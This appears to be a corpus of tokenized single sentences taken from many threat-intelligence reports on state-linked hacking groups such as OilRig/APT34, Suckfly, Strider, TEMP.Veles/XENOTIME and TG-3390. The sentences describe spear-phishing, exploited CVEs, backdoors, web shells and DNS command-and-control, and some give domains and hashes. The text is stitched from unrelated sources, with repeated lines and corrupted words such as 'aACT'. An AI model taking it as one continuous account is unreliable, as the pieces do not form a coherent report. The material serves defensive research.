FireEye also reported on these attacks in a May 22 blog post .
The executable variant of Helminth is installed with a dropper Trojan that we are tracking as the HerHer Trojan .
The Helminth executable variant is very similar in functionality to its script-based counterpart , as it also communicates with its C2 server using both HTTP and DNS queries .
Helminth executable samples send artifacts within network beacons to its C2 server that the Trojan refers to as a ' Group ' and ' Name ' .
It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries .
It appears that the group values hardcoded into the malware is associated with the targeted organization , as several are Saudi Arabian organizations within the telecommunications and defense industries .
This suggests that the threat actors are not only focused on financial organizations , as their target set could include other industries as well .
The email address edmundj@chmail.ir and the geolocation of Tehran , Iran , being of note .
The registrant information for kernel.ws also provided a geolocation of Tehran , IR and the email provider for the address used in checkgoogle.org was the same used for mydomain1607.com , chmail.ir .
The mydomain1110.com domain did not appear to reuse any of the previously observed WHOIS data artifacts , but did still give a geolocation of Tehran in addition to the use of an email address linked to other domains thematically similar to the know command and control domains and are potentially related .
While researching the OilRig campaign , we have seen two waves of targeted attacks on Saudi Arabian organizations in which a group of threat actors delivered the Helminth Trojan as a payload .
The two variants of Helminth do require different delivery methods , with the script variant relying on an Excel spreadsheet for delivery , while the executable variant is more traditional in the fact that it can be installed without a delivery document .
Since our first published analysis of the OilRig campaign in May 2016 , we have continued to monitor this group for new activity .
Additionally , the scope of organizations targeted by this group has expanded to not only include organizations within Saudi Arabia , but also a company in Qatar and government organizations in Turkey , Israel and the United States .
The group behind the OilRig campaign continues to leverage spear-phishing emails with malicious Microsoft Excel documents to compromise victims .
In addition to these instances , multiple Qatari organizations were the subject to spear phishing attacks carrying Helminth samples earlier this year .
While the malware deployed is not terribly sophisticated , it uses techniques such as DNS command and control ( C2 ) that allows it to stay under the radar at many establishments .
Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14 , 2017 , FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
We assess this activity was carried out by a suspected Iranian cyber espionage threat group , whom we refer to as APT34 , using a custom PowerShell backdoor to achieve its objectives .
This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications , and has largely focused its operations within the Middle East .
We assess that APT34 works on behalf of the Iranian government based on infrastructure details that contain references to Iran , use of Iranian infrastructure , and targeting that aligns with nation-state interests .
APT34 uses a mix of public and non-public tools , often conducting spear phishing operations using compromised accounts , sometimes coupled with social engineering tactics .
We believe APT34 is involved in a long-term Cyber Espionage operation largely focused on reconnaissance efforts to benefit Iranian nation-state interests and has been operational since at least 2014 .
In May 2016 , we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware .
In July 2017 , we observed APT34 targeting a Middle East organization using a PowerShell-based backdoor that we call POWRUNER and a downloader with domain generation algorithm functionality that we call BONDUPDATER , based on strings within the malware .
APT34 loosely aligns with public reporting related to the group " OilRig " .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
In this latest campaign , APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER .
The vulnerability was patched by Microsoft on Nov 14 , 2017 .
The vulnerability exists in the old Equation Editor ( EQNEDT32.EXE ) , a component of Microsoft Office that is used to insert and evaluate mathematical formulas .
During the past few months , APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities ( CVE-2017-0199 and CVE-2017-11882 ) to target organizations in the Middle East .
The OilRig group ( AKA APT34 , Helix Kitten ) is an adversary motivated by espionage primarily operating in the Middle East region .
We expect APT34 will continue to evolve their malware and tactics as they continue to pursue access to entities in the Middle East region .
The OilRig group ( AKA APT34 , Helix Kitten ) is an adversary motivated by espionage primarily operating in the Middle East region .
We first discovered this group in mid-2016 , although it is possible their operations extends earlier than that time frame .
Between May and June 2018 , Unit 42 observed multiple attacks by the OilRig group appearing to originate from a government agency in the Middle East .
The use of script-based backdoors is a common technique used by the OilRig group as we have previously documented .
The attacks delivered a PowerShell backdoor called QUADAGENT , a tool attributed to the OilRig group by both ClearSky Cyber Security and FireEye .
A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation .
All three waves involved a single spear phishing email that appeared to originate from a government agency based in the Middle East .
This latest attack consisted of three waves between May and June 2018 .
The OilRig group continues to be a persistent adversary group in the Middle East region .
APT34 are involved in long-term cyber espionage operations largely focused on the Middle East .
This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications .
Recent investigations by FireEye 's Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of a suspected Iranian threat group , that we believe has been operating since at least 2014 .
Join us in a live webinar as we discuss this threat group whom we assess to be working on behalf of the Iranian Government , with a mission that would benefit nation-state geopolitical and economic needs .
On January 8 , 2018 , Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East .
APT34 uses a mix of public and non-public tools , often conducting spear phishing operations using compromised accounts from trusted third parties , sometimes coupled with social engineering tactics .
Just over a week later , on January 16 , 2018 , we observed an attack on a Middle Eastern financial institution .
The January 8 attack used a variant of the ThreeDollars delivery document , which we identified as part of the OilRig toolset based on attacks that occurred in August 2017 .
However , the attack on January 16 did not involve ThreeDollars at all .
Interestingly , the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017 .
Instead , OilRig 's attack involved delivering the OopsIE Trojan directly to the victim , most likely using a link in a spear phishing email .
In the January 16 , 2018 attack , we observed OilRig attacking an organization it previously targeted in January 2017 .
On January 8 , 2018 , the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East .
The email contained an attachment named Seminar-Invitation.doc , which is a malicious Microsoft Word document we track as ThreeDollars .
This suggests that due to the January 2017 attack , the targeted organization may have taken actions to counter known OilRig TTPs , in this case delivering malicious macro documents , causing the OilRig operators to adopt a different delivery tactic .
We also identified another sample of ThreeDollars , created on January 15 , 2017 with the file name strategy preparation.dot .
The samples of ThreeDollars we collected in these attacks are structurally very similar to the first sample we analyzed in October 2017 , down to the lure image used to trick the recipient into clicking the " Enable Content " button to execute the malicious macro .
Since May 2016 , we have continued to monitor and uncover various attacks and tools associated with the OilRig group .
] com , which we previously identified in October 2017 to be an OilRig C2 .
Based on previously observed tactics , it is highly likely the OilRig group leveraged credential harvesting and compromised accounts to use the government agency as a launching platform for their true attacks .
Inspecting the class C network for 185.162.235.0/24 shows us that another IP on the same network resolves to an OilRig domain , msoffice-cdn.com which we identified in August 2017 .
We had previously observed this author name in use once before , in the very first ThreeDollars document we collected that we had reported on in August 2017 .
The OilRig group continues to remain a highly active adversary in the Middle East region .
Organizations detected a compromise themselves in 62% of the cases that Mandiant worked in 2017 .
The group conducts operations primarily in the Middle East , targeting financial , government , energy , chemical , telecommunications and other industries .
Repeated targeting of Middle Eastern financial , energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34 .
The use of infrastructure tied to Iranian operations , timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government .
APT34 uses a mix of public and non-public tools and often uses compromised accounts to conduct spear-phishing operations .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
Unit 42 's ongoing research into the OilRig campaign shows that the threat actors involved in the original attack campaign continue to add new Trojans to their toolset and continue their persistent attacks in the Middle East .
When we first discovered the OilRig attack campaign in May 2016 , we believed at the time it was a unique attack campaign likely operated by a known , existing threat group .
The email address is associated with the Lebanese domain of a major global financial institution .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In July 2017 , we observed the OilRig group using a tool they developed called ISMAgent in a new set of targeted attacks .
In August 2017 , we found this threat group has developed yet another Trojan that they call ' Agent Injector ' with the specific purpose of installing the ISMAgent backdoor .
On August 23 , 2017 , we observed OilRig targeting an organization within the United Arab Emirates government .
Based on that research and this observation , we postulate that the OilRig group gathered credentials to a legitimate user 's OWA account and logged into the user 's account to send phishing attacks to other individuals within the same , targeted organization .
The OilRig group continues to target organizations in the Middle East , in this instance targeting the government of the United Arab Emirates .
The payload embedded within the ISMInjector sample delivered in this attack is a variant of the ISMAgent backdoor that we had discussed in detail in our blog discussing a targeted attack on a Saudi Arabian technology company .
Initial inspection of this attack suggested this was again the OilRig campaign using their existing toolset , but further examination revealed not only new variants of the delivery document we named Clayslide , but also a different payload embedded inside it .
In July 2017 , we observed an attack on a Middle Eastern technology organization that was also targeted by the OilRig campaign in August 2016 .
This technique was observed in previous Clayslide documents to access the script variant of the Helminth Trojan in earlier OilRig attacks .
In the past , we had primarily associated the OilRig campaign with using the Clayslide documents to deliver as a payload a Trojan we named Helminth ; in this instance , the payload was instead a variant of the ISMDoor Trojan with significant modifications which we are now tracking as ISMAgent .
The June 2017 sample of Clayslide contained the same OfficeServicesStatus.vbs file found in the ISMAgent Clayslide document , but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated , this variant obtained its payload from multiple cells within the " Incompatible " worksheet .
Clearly , OilRig incorporates a testing component within their development process , as we have previously observed OilRig performing testing activities on their delivery documents and their TwoFace webshells .
While continuing research on the August 2018 attacks on a Middle eastern government that delivered BONDUPDATER , Unit 42 researchers observed OilRig 's testing activities and with high confidence links this testing to the creation of the weaponized delivery document used in this attack .
While investigating recent attacks performed by the threat actor group OilRig using their new Bondupdater version , Unit 42 researchers searched for additional Microsoft Office documents used by OilRig hoping to locate additional malware being used in other attacks during the same time period .
The tester created the final test file less than 8 hours before the creation time of a delivery document , which was then delivered via a spear-phishing email 20 minutes later .
During this testing , we saw document filenames that contain the C2 we witnessed in the targeted attack above , specifically the filenames XLS-withyourface.xls and XLS-withyourface – test.xls .
These samples appeared to have been created by OilRig during their development and testing activities , all of which share many similarities with the delivery document used in the recent OilRig attack against a Middle Eastern government , N56.15.doc ( 7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00 ) that we have also included in Table 1 .
However , they later continued by making modifications to the Excel document just prior to the attack on August 26th .
HELIX KITTEN is likely an Iranian-based adversary group , active since at least late 2015 , targeting organizations in the aerospace , energy , financial , government , hospitality and telecommunications business verticals .
Additionally , HELIX KITTEN actors have shown an affinity for creating thoroughly researched and structured spear-phishing messages relevant to the interests of targeted personnel .
In addition to Helminth , the ISMDoor implant is likely used by the Iran-based adversary to attack targets particularly those in the Middle East region .
These incidents involved spear-phishing attacks , which characteristic of HELIX KITTEN , included emails containing malicious PowerShell in their macros that connects to known C2 infrastructure .
During the summer of 2018 , HELIX KITTEN actors were observed targeting entities in the Middle East — of note , targets appeared to be located in Bahrain and Kuwait .
ISMDoor is able to exfiltrate data , take screenshots , and execute arbitrary commands on the victim 's machine .
In early November 2018 , CrowdStrike observed activity from the HELIX KITTEN adversary at a customer in the telecommunications vertical .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
In the first week of May 2016 , FireEye 's DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region .
Our data suggests that actors have deployed the RGDoor backdoor on webservers belonging to eight Middle Eastern government organizations , as well as one financial and one educational institution .
In August 2018 , Unit 42 observed OilRig targeting a government organization using spear-phishing emails to deliver an updated version of a Trojan known as BONDUPDATER .
The OilRig group has been active since at least mid-2016 , and continues their attack campaigns throughout the Middle East , targeting both governmental agencies and businesses on an almost routine basis .
BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017 , when OilRig targeted a different Middle Eastern governmental organization .
During the past month , Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware , which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications .
The email had no subject and what initially drew our attention to OilRig 's attack was the content of the spear phishing email .
As expected , OilRig is continuing their onslaught of attacks well into 2018 with continued targeting in the Middle East .
First identified in January 2015 , Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims .
According to Symantec telemetry , almost 40 percent of Orangeworm 's confirmed victim organizations operate within the healthcare industry .
Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents .
Sowbug 's next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents .
For example , in September 2016 , Sowbug infiltrated an organization in Asia , deploying the Felismus backdoor on one of its computers , Computer A , using the file name adobecms.exe in CSIDL_WINDOWS\debug .
In this case , the attackers maintained a presence on the target 's network for nearly six months between September 2016 and March 2017 .
In other attacks , there was evidence that Felismus was installed using a tool known as Starloader ( detected by Symantec as Trojan.Starloader ) .
Symantec has found evidence of Starloader files being named AdobeUpdate.exe , AcrobatUpdate.exe , and INTELUPDATE.EXE among others .
Additionally , Starloader was also observed deploying additional tools used by the attackers , such as credential dumpers and keyloggers .
ASERT has learned of an APT campaign , possibly originating from DPRK , we are calling STOLEN PENCIL that is targeting academic institutions since at least May 2018 .
Once gaining a foothold on a user 's system , the threat actors behind STOLEN PENCIL use Microsoft 's Remote Desktop Protocol ( RDP ) for remote point-and-click access .
The group uses an advanced piece of malware known as Remsec ( Backdoor.Remsec ) to conduct its attacks .
Strider has been active since at least October 2011 .
Lua modules is a technique that has previously been used by Flamer .
The Remsec malware used by Strider has a modular design .
The group has maintained a low profile until now and its targets have been mainly organizations and individuals that would be of interest to a nation state 's intelligence services .
The group 's targets include a number of organizations and individuals located in Russia .
Remsec uses a Lua interpreter to run Lua modules which perform various functions .
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe , collecting system-related information , such as the OS version , hardware configuration , and network information .
the group 's targets include an organization in Sweden .
the group 's targets include an embassy in Belgium .
Symantec will continue to search for more Remsec modules and targets in order to build upon our understanding of Strider and better protect our customers .
Another such an exceptional espionage platform is " ProjectSauron , also known as " Strider " .
In September 2015 , our anti-targeted attack technologies caught a previously unknown attack .
Forensic analysis indicates that the APT has been operational since at least June 2011 and was still active in 2016 .
After getting the IP , the ProjectSauron component tries to communicate with the remote server using its own ( ProjectSauron ) protocol as if it was yet another C&C server .
In a number of the cases we analyzed , ProjectSauron deployed malicious modules inside the custom network encryption 's software directory , disguised under similar filenames and accessing the data placed beside its own executable .
The threat actor behind ProjectSauron commands a top-of-the-top modular cyber-espionage platform in terms of technical sophistication , designed to enable long-term campaigns through stealthy survival mechanisms coupled with multiple Exfiltration methods .
In September 2015 , Kaspersky Lab 's Anti-Targeted Attack Platform discovered anomalous network traffic in a government organization network .
In late 2015 , Symantec identified suspicious activity involving a hacking tool used in a malicious manner against one of our customers .
Secondary ProjectSauron modules are designed to perform specific functions like stealing documents , recording keystrokes , and hijacking encryption keys from both infected computers and attached USB sticks .
activity originated from three separate IP addresses , all located in Chengdu , China .
We don't know the exact date Suckfly stole the certificates from the South Korean organizations .
stolen certificates being used maliciously occurred in early 2014 .
Symantec detects this threat as Backdoor.Nidiran .
Specifically , Suckfly used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability ( CVE-2014-6332 ) , which affects specific versions of Microsoft Windows .
The threat then executes " svchost.exe " .
Attackers have been known to distribute malicious files masquerading as the legitimate iviewers.dll file and then use DLL load hijacking to execute the malicious code and infect the computer .
Once exploit has been achieved , Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed .
The certificates Blackfly stole were also from South Korean companies , primarily in the video game and software development industry .
Blackfly began with a campaign to steal certificates , which were later used to sign malware used in targeted attacks .
In March 2016 , Symantec published a blog on Suckfly , an advanced cyberespionage group that conducted attacks against a number of South Korean organizations to steal digital certificates .
Since then we have identified a number of attacks over a two-year period , beginning in April 2014 , which we attribute to Suckfly .
The attacks targeted high-profile targets , including government and commercial organizations .
these attacks were part of a planned operation against specific targets in India .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
The first known Suckfly campaign began in April of 2014 .
Suckfly 's attacks on government organizations that provide information technology services to other government branches is not limited to India .
It has conducted attacks on similar organizations in Saudi Arabia , likely because of the access that those organizations have .
Similar to its other attacks , Suckfly used the Nidiran back door along with a number of hacktools to infect the victim 's internal hosts .
In 2015 , Suckfly conducted a multistage attack .
Suckfly conducted a multistage attack between April 22 and May 4 .
On April 22 , 2015 , Suckfly exploited a vulnerability on the targeted employee 's operating system ( Windows ) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack .
Suckfly conducted a multistage attack against an e-commerce organization .
Suckfly conducted a multistage attack against an e-commerce organization based in India .
Most of the group 's attacks are focused on government or technology related companies and organizations .
While we know the attackers used a custom dropper to install the back door , we do not know the delivery vector .
While tracking what days of the week Suckfly used its hacktools , we discovered that the group was only active Monday through Friday .
By targeting all of these organizations together , Suckfly could have had a much larger impact on India and its economy .
While we don't know the motivations behind the attacks , the targeted commercial organizations , along with the targeted government organizations , may point in this direction .
There is no evidence that Suckfly gained any benefits from attacking the government organizations , but someone else may have benefited from these attacks .
During this time they were able to steal digital certificates from South Korean companies and launch attacks against Indian and Saudi Arabian government organizations .
We believe that Suckfly will continue to target organizations in India and similar organizations in other countries in order to provide economic insight to the organization behind Suckfly 's operations .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Proofpoint is tracking this attacker , believed to operate out of China , as TA459 .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
TA549 possesses a diverse malware arsenal including PlugX , NetTraveler , and ZeroT .
TA459 is well-known for targeting organizations in Russia and neighboring countries .
Ongoing activity from attack groups like TA459 who consistently target individuals specializing in particular LOCs of research and expertise further complicate an already difficult security situation for organizations dealing with more traditional malware threats , phishing campaigns , and socially engineered threats every day .
Using data collected from the Trend Micro™ Smart Protection Network , we are able to identify victims whose networks communicated with Taidoor C&C servers .
The Taidoor attackers have been actively engaging in targeted attacks since at least March 4 , 2009 .
Taidoor spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues .
Despite some exceptions , the Taidoor campaign often used Taiwanese IP addresses as C&C servers and email addresses to send out socially engineered emails with malware as attachments .
One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government .
Suckfly targeted one of India 's largest e-commerce companies , a major Indian shipping company , one of India 's largest financial organizations , and an IT firm that provides support for India 's largest stock exchange .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
Taidoor actively sent out malicious documents and maintained several IP addresses for command and control .
The attackers actively sent out malicious documents and maintained several IP addresses for command and control .
As part of their social engineering ploy , the Taidoor attackers attach a decoy document to their emails that , when opened , displays the contents of a legitimate document but executes a malicious payload in the background .
Sometimes , however , certain samples made use of domain names for HTTP communication .
Based on the command capabilities of the Taidoor malware , we were able to determine that data theft and data destruction was possible .
The ultimate objective of targeted attacks is to acquire sensitive data .
In December 2017 , FireEye publicly released our first analysis on the TRITON attack where malicious actors used the TRITON custom attack framework to manipulate industrial safety systems at a critical infrastructure facility and inadvertently caused a process shutdown .
In our most recent analysis , we attributed the intrusion activity that led to the deployment of TRITON to a Russian government-owned technical research institute in Moscow .
For more in-depth analysis of TRITON and other cyber threats , consider subscribing to FireEye Cyber Threat Intelligence .
During this time , the attacker must ensure continued access to the target environment or risk losing years of effort and potentially expensive custom ICS malware .
In this report we continue our research of the actor 's operations with a specific focus on a selection of custom information technology ( IT ) tools and tactics the threat actor leveraged during the early stages of the targeted attack lifecycle .
Additionally , the actor possibly gained a foothold on other target networks—beyond the two intrusions discussed in this post – using similar strategies .
There is often a singular focus from the security community on ICS malware largely due to its novel nature and the fact that there are very few examples found in the wild .
In this blog post we provide additional information linking TEMP.Veles and their activity surrounding the TRITON intrusion to a Russian government-owned research institute .
Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates .
TEMP.Veles' lateral movement activities used a publicly-available PowerShell-based tool , WMImplant .
On multiple dates in 2017 , TEMP.Veles struggled to execute this utility on multiple victim systems , potentially due to AV detection .
Custom payloads utilized by TEMP.Veles in investigations conducted by Mandiant are typically weaponized versions of legitimate open-source software , retrofitted with code used for command and control .
We identified file creation times for numerous files that TEMP.Veles created during lateral movement on a target 's network .
Adversary behavioral artifacts further suggest the TEMP.Veles operators are based in Moscow , lending some further support to the scenario that CNIIHM , a Russian research organization in Moscow , has been involved in TEMP.Veles activity .
XENOTIME is easily the most dangerous threat activity publicly known .
CNIIHM 's characteristics are consistent with what we might expect of an organization responsible for TEMP.Veles activity .
Dragos identified several compromises of ICS vendors and manufacturers in 2018 by activity associated with XENOTIME , providing potential supply chain threat opportunities and vendor-enabled access to asset owner and operator ICS networks .
XENOTIME rose to prominence in December 2017 when Dragos and FireEye jointly published details of TRISIS destructive malware targeting Schneider Electric 's Triconex safety instrumented system .
Targeting a safety system indicates significant damage and loss of human life were either intentional or acceptable goals of the attack , a consequence not seen in previous disruptive attacks such as the 2016 CRASHOVERRIDE malware that caused a power loss in Ukraine .
XENOTIME used credential capture and replay to move between networks , Windows commands , standard command-line tools such as PSExec , and proprietary tools for operations on victim hosts .
Dragos' data indicates XENOTIME remains active .
TEMP.Veles created a custom malware framework and tailormade credential gathering tools , but an apparent misconfiguration prevented the attack from executing properly .
Furthermore , Dragos' analysis of the TRISIS event continues as we recover additional data surrounding the incident .
XENOTIME operates globally , impacting regions far outside of the Middle East , their initial target .
Intelligence suggests the group has been active since at least 2014 and is presently operating in multiple facilities targeting safety systems beyond Triconex .
Dragos instead focuses on threat behaviors and appropriate detection and response .
Dragos assesses with moderate confidence that XENOTIME intends to establish required access and capability to cause a potential , future disruptive—or even destructive—event .
However , full details on XENOTIME and other group tools , techniques , procedures , and infrastructure is available to network defenders via Dragos WorldView .
This seems confusing as FireEye earlier publicly declared the TRITON as a discrete entity , linked to a Russian research institution , and christened it as " TEMP.Veles " .
This seems confusing as FireEye earlier publicly declared the " TRITON actor " as a discrete entity , linked to a Russian research institution , and christened it as " TEMP.Veles " .
Meanwhile , parallel work at Dragos ( my employer , where I have performed significant work on the activity described above ) uncovered similar conclusions concerning TTPs and behaviors , for both the 2017 event and subsequent activity in other industrial sectors .
FireEye recently published a blog covering the tactics , techniques , and procedures ( TTPs ) for the " TRITON actor " when preparing to deploy the TRITON/TRISIS malware framework in 2017 .
Based on information gained from discussion with the initial TRITON/TRISIS responders and subsequent work on follow-on activity by this entity , Dragos developed a comprehensive ( public ) picture of adversary activity roughly matching FireEye 's analysis published in April 2019 , described in various media .
Since late 2018 , based upon the most-recent posting , FireEye appears to have " walked back " the previously-used terminology of TEMP.Veles and instead refers rather cryptically to the " TRITON actor " , while Dragos leveraged identified behaviors to consistently refer to an activity group , XENOTIME .
Dragos leveraged identified behaviors to consistently refer to an activity group , XENOTIME .
Aside from the competitive vendor naming landscape ( which I am not a fan of in cases on direct overlap , but which has more to say for itself when different methodologies are employed around similar observations ) , the distinction between FireEye and Dragos' approaches with respect to the " TRITON actor " comes down to fundamental philosophical differences in methodology .
In the 2018 public posting announcing TEMP.Veles , FireEye researchers noted that the institute in question at least supported TEMP.Veles activity in deploying TRITON .
My understanding is FireEye labels entities where definitive attribution is not yet possible with the " TEMP " moniker ( hence , TEMP.Veles ) – yet in this case FireEye developed and deployed the label , then appeared to move aACT from it in subsequent reporting .
In comparison , XENOTIME was defined based on principles of infrastructure ( compromised third-party infrastructure and various networks associated with several Russian research institutions ) , capabilities ( publicly- and commercially-available tools with varying levels of customization ) and targeting ( an issue not meant for discussion in this blog ) .
Of note , this methodology of naming abstracts aACT the " who " element – XENOTIME may represent a single discrete entity ( such as a Russian research institution ) or several entities working in coordination in a roughly repeatable , similar manner across multiple events .
Much like the observers watching the shadows of objects cast upon the wall of the cave , these two definitions ( XENOTIME and TEMP.Veles , both presumably referring to " the TRITON actor " ) describe the same phenomena , yet at the same time appear different .
To better understand how the adversary was operating and what other actions they had performed , CTU researchers examined cmd.exe and its supporting processes to uncover additional command line artifacts .
CTU researchers assess with high confidence that threat groups like Threat Group-1314 will continue to live off of the land to avoid detection and conduct their operations .
Analysis of TG-3390 's operations , targeting , and tools led CTU researchers to assess with moderate confidence the group is located in the People's Republic of China .
The threat actors target a wide range of organizations : CTU researchers have observed TG-3390 actors obtaining confidential data on defense manufacturing projects , but also targeting other industry verticals and attacking organizations involved in international relations .
In comparison to other threat groups , TG-3390 is notable for its tendency to compromise Microsoft Exchange servers using a custom backdoor and credential logger .
CTU researchers have evidence that the TG-3390 compromised U.S. and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Based on analysis of the group 's SWCs , TG-3390 operations likely affect organizations in other countries and verticals .
TG-3390 operates a broad and long-running campaign of SWCs and has compromised approximately 100 websites as of this publication .
CTU researchers have evidence that the threat group compromised U.S. and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Like many threat groups , TG-3390 conducts strategic web compromises ( SWCs ) , also known as watering hole attacks , on websites associated with the target organization 's vertical or demographic to increase the likelihood of finding victims with relevant information .
Through an IP address whitelisting process , the threat group selectively targets visitors to these websites .
After the initial compromise , TG-3390 delivers the HTTPBrowser backdoor to its victims .
CTU researchers assess with high confidence that TG-3390 uses information gathered from prior reconnaissance activities to selectively compromise users who visit websites under its control .
TG-3390 uses the PlugX remote access tool .
The SWC of a Uyghur cultural website suggests intent to target the Uyghur ethnic group , a Muslim minority group primarily found in the Xinjiang region of China .
The threat actors have used the Baidu search engine , which is only available in Chinese , to conduct reconnaissance activities .
Recently , CTU researchers responded to an intrusion perpetrated by Threat Group-1314 , one of numerous threat groups that employ the " living off the land " technique to conduct their intrusions .
CTU researchers have observed the Threat Group-3390 obtaining information about specific U.S. defense projects that would be desirable to those operating within a country with a manufacturing base , an interest in U.S. military capability , or both .
CTU researchers have observed the threat group obtaining information about specific U.S. defense projects that would be desirable to those operating within a country with a manufacturing base , an interest in U.S. military capability , or both .
TG-3390 can quickly leverage compromised network infrastructure during an operation and can conduct simultaneous intrusions into multiple environments .
Malware used by the threat group can be configured to bypass network-based detection ; however , the threat actors rarely modify host-based configuration settings when deploying payloads .
TG-3390 uses older exploits to compromise targets , and CTU researchers have not observed the threat actors using zero-day exploits as of this publication .
In addition to using SWCs to target specific types of organizations , TG-3390 uses spearphishing emails to target specific victims .
After gaining access to a target network in one intrusion analyzed by CTU researchers , TG-3390 actors identified and exfiltrated data for specific projects run by the target organization , indicating that they successfully obtained the information they sought .
Based on this information , CTU researchers assess that TG-3390 aims to collect defense technology and capability intelligence , other industrial intelligence , and political intelligence from governments and NGOs .
Incident response engagements have given CTU researchers insight into the tactics TG-3390 employs during intrusions .
CTU researchers have not observed TG-3390 actors performing reconnaissance prior to compromising organizations .
CTU researchers have observed the threat actors installing a credential logger and backdoor on Microsoft Exchange servers , which requires a technical grasp of Internet Information Services ( IIS ) .
TG-3390 is capable of using a C2 infrastructure that spans multiple networks and registrars .
TG-3390 SWCs may be largely geographically independent , but the group 's most frequently used C2 registrars and IP net blocks are located in the U.S .
Using a U.S. based C2 infrastructure to compromise targets in the U.S. helps TG-3390 actors avoid geo-blocking and geo-flagging measures used in network defense .
The threat actors create PlugX DLL stub loaders that will run only after a specific date .
The compile dates of the samples analyzed by CTU researchers are all later than the hard-coded August 8 , 2013 date , indicating that the code might be reused from previous tools .
One archive sample analyzed by CTU researchers contained a legitimate PDF file , a benign image of interest to targets ( see Figure 8 ) , and an HTTPBrowser installer disguised as an image file .
CTU researchers have observed TG-3390 activity between 04:00 and 09:00 UTC , which is 12:00 to 17:00 local time in China ( UTC +8 ) .
TG-3390 sends spearphishing emails with ZIP archive attachments .
CTU researchers have observed TG-3390 compromising a target organization 's externally and internally accessible assets , such as an OWA server , and adding redirect code to point internal users to an external website that hosts an exploit and delivers malware .
TG-3390 actors have used Java exploits in their SWCs .
In particular , TG-3390 has exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
In activity analyzed by CTU researchers , TG-3390 executed the Hunter web application scanning tool against a target server running IIS .
In particular , the threat actors have exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
TG-3390 uses DLL side loading , a technique that involves running a legitimate , typically digitally signed , program that loads a malicious DLL .
CTU researchers have observed the Threat Group-3390 employing legitimate Kaspersky antivirus variants in analyzed samples .
The adversaries have used this technique to allow PlugX and HTTPBrowser to persist on a system .
CTU researchers have observed the TG-3390 employing legitimate Kaspersky antivirus variants in analyzed samples .
TG-3390 actors have deployed the OwaAuth web shell to Exchange servers , disguising it as an ISAPI filter .
In other cases , threat actors placed web shells on externally accessible servers , sometimes behind a reverse proxy , to execute commands on the compromised system .
CTU researchers have discovered numerous details about TG-3390 operations , including how the adversaries explore a network , move laterally , and exfiltrate data .
When the adversaries' operations are live , they modify the record again to point the C2 domain to an IP address they can access .
They then identify the Exchange server and attempt to install the OwaAuth web shell .
